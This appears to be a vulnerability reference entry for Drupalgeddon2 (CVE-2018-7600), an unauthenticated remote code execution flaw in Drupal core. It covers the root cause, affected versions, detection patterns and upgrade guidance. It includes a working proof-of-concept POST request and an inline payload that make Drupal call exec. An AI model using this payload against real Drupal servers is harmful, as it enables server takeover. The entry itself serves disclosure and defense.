Drupalgeddon2

aka SA-CORE-2018-002

Product: Drupal Drupal core
CVE: CVE-2018-7600
Disclosed: 2018-03-28
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: < 7.58, 8.x < 8.3.9, 8.4.x < 8.4.6, 8.5.x < 8.5.1
Fixed: 7.58, 8.3.9, 8.4.6, 8.5.1

Summary

Drupal's Form API accepted attacker-supplied render-array properties (keys starting with '#') in request data, letting unauthenticated users invoke arbitrary PHP callbacks. Public exploits appeared two weeks after the patch and it was mass-exploited for cryptominers and botnets.

Root cause

Drupal render arrays use '#'-prefixed keys such as #post_render, #pre_render and #lazy_builder to specify callbacks. Form submissions (e.g. the user registration AJAX form) were merged into render arrays without stripping these keys, so a request like mail[#post_render][]=exec&mail[#markup]=id calls exec('id') during rendering.

Impact

Unauthenticated RCE on default Drupal 7 and 8 installations.

Public PoC

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

Source: vulhub / drupal/CVE-2018-7600

Detection

Search logs for request parameters containing '#post_render', '#pre_render', '#lazy_builder' or '%23' keys to /user/register or /user/password with ajax_form=1. nuclei template CVE-2018-7600.

Mitigation

Upgrade Drupal core (7.58 / 8.5.1+, plus SA-CORE-2018-004 / CVE-2018-7602 fixes).